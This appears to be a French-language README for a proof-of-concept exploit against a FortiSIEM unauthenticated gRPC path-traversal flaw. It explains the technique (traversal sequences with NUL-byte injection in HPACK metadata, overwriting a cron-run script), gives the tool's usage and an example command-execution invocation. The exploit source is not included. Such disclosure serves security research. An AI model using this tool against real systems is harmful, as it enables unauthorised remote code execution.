
Preuve de concept en Python pour CVE-2026-106173, une écriture de fichier par traversée de chemin gRPC non authentifiée dans Fortinet FortiSIEM qui permet une exécution aveugle de commandes à distance.
Ce dépôt contient une preuve de concept pour CVE-2026-106173, une vulnérabilité d'exécution de code à distance non authentifiée dans Fortinet FortiSIEM.
Le gestionnaire QueryResultReq du gRPC de FortiSIEM traite des métadonnées non fiables sans validation de chemin appropriée. En forgeant des métadonnées contenant à la fois des séquences de traversée de chemin (../) et une injection d'octet NUL dans les couches d'encodage HTTP/2 et HPACK du gRPC, un attaquant peut écrire des fichiers arbitraires sur le système de fichiers.
Une analyse technique couvrant la cause racine, les détails de l'exploitation et les indicateurs de compromission est disponible sur le blog de recherche sur les attaques de Horizon3.ai :
% python3 CVE-2026-106173.py -h
usage: CVE-2026-106173.py [-h] -t TARGET [-c COMMAND] [-p PORT] [--plaintext]
[--dry-run]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
IP or hostname of the FortiSIEM instance
-c COMMAND, --command COMMAND
Command to execute on the target
-p PORT, --port PORT FortiSIEM gRPC port (default: 27918)
--plaintext Use HTTP/2 without TLS
--dry-run Display the request without sending
Exécuter une commande arbitraire :
python3 CVE-2026-106173.py -t 10.0.18.x -c 'id'
REMARQUE : L'exécution est aveugle et prend jusqu'à 60 secondes pour que la tâche cron déclenche l'exécution du script que nous avons écrasé.
Ce logiciel a été créé uniquement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes, sauf autorisation explicite. » Les mainteneurs du projet déclinent toute responsabilité en cas de mauvaise utilisation. Utilisez-le de manière responsable.